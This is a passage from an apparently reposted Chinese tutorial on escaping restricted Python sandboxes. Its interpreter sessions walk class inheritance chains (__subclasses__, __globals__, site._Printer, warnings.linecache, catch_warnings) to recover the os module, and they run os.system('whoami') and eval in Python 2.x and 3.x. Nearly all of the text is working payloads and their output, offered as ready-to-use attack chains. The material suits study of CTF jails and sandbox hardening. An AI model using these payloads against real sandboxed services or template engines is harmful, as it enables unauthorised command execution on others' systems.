| 
                         可以看到,site 就在里面,以 2.x 的site._Printer为例: 
- >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os'] 
 - <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 
 
  
os 又回来了。并且 site 中还有 __builtins__。 
这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings: 
- >>> import warnings 
 - >>>  
 - >>> warnings.os 
 - Traceback (most recent call last): 
 -   File "<stdin>", line 1, in <module> 
 - AttributeError: 'module' object has no attribute 'os' 
 - >>>  
 - >>> warnings.linecache 
 - <module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'> 
 - >>> 
 - >>> warnings.linecache.os 
 - <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 
 
  
在继承链中就可以这样: 
- >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') 
 - macr0phag3 
 - 0 
 
  
顺便说一下,warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性: 
- def __init__(self, record=False, module=None): 
 -  
 -     self._module = sys.modules['warnings'] if module is None else module 
 
  
所以通过_module也可以构造 payload: 
- >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') 
 - macr0phag3 
 - 0 
 
  
3.x 中的warnings虽然没有 linecache,也有__builtins__。 
同样,py3.x 中有,利用方式可以为: 
- >>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami') 
 - macr0phag3 
 - 0 
 
  
顺便提一下,object 本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为: 
- object.__subclasses__()[117].__init__.__globals__['system']('whoami') 
 
  
还有一种是利用builtin_function_or_method 的 __call__: 
- "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') 
 
  
或者简单一点: 
- [].__getattribute__('append').__class__.__call__(eval, '1+1') 
 
                          (编辑:滁州站长网) 
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! 
                     |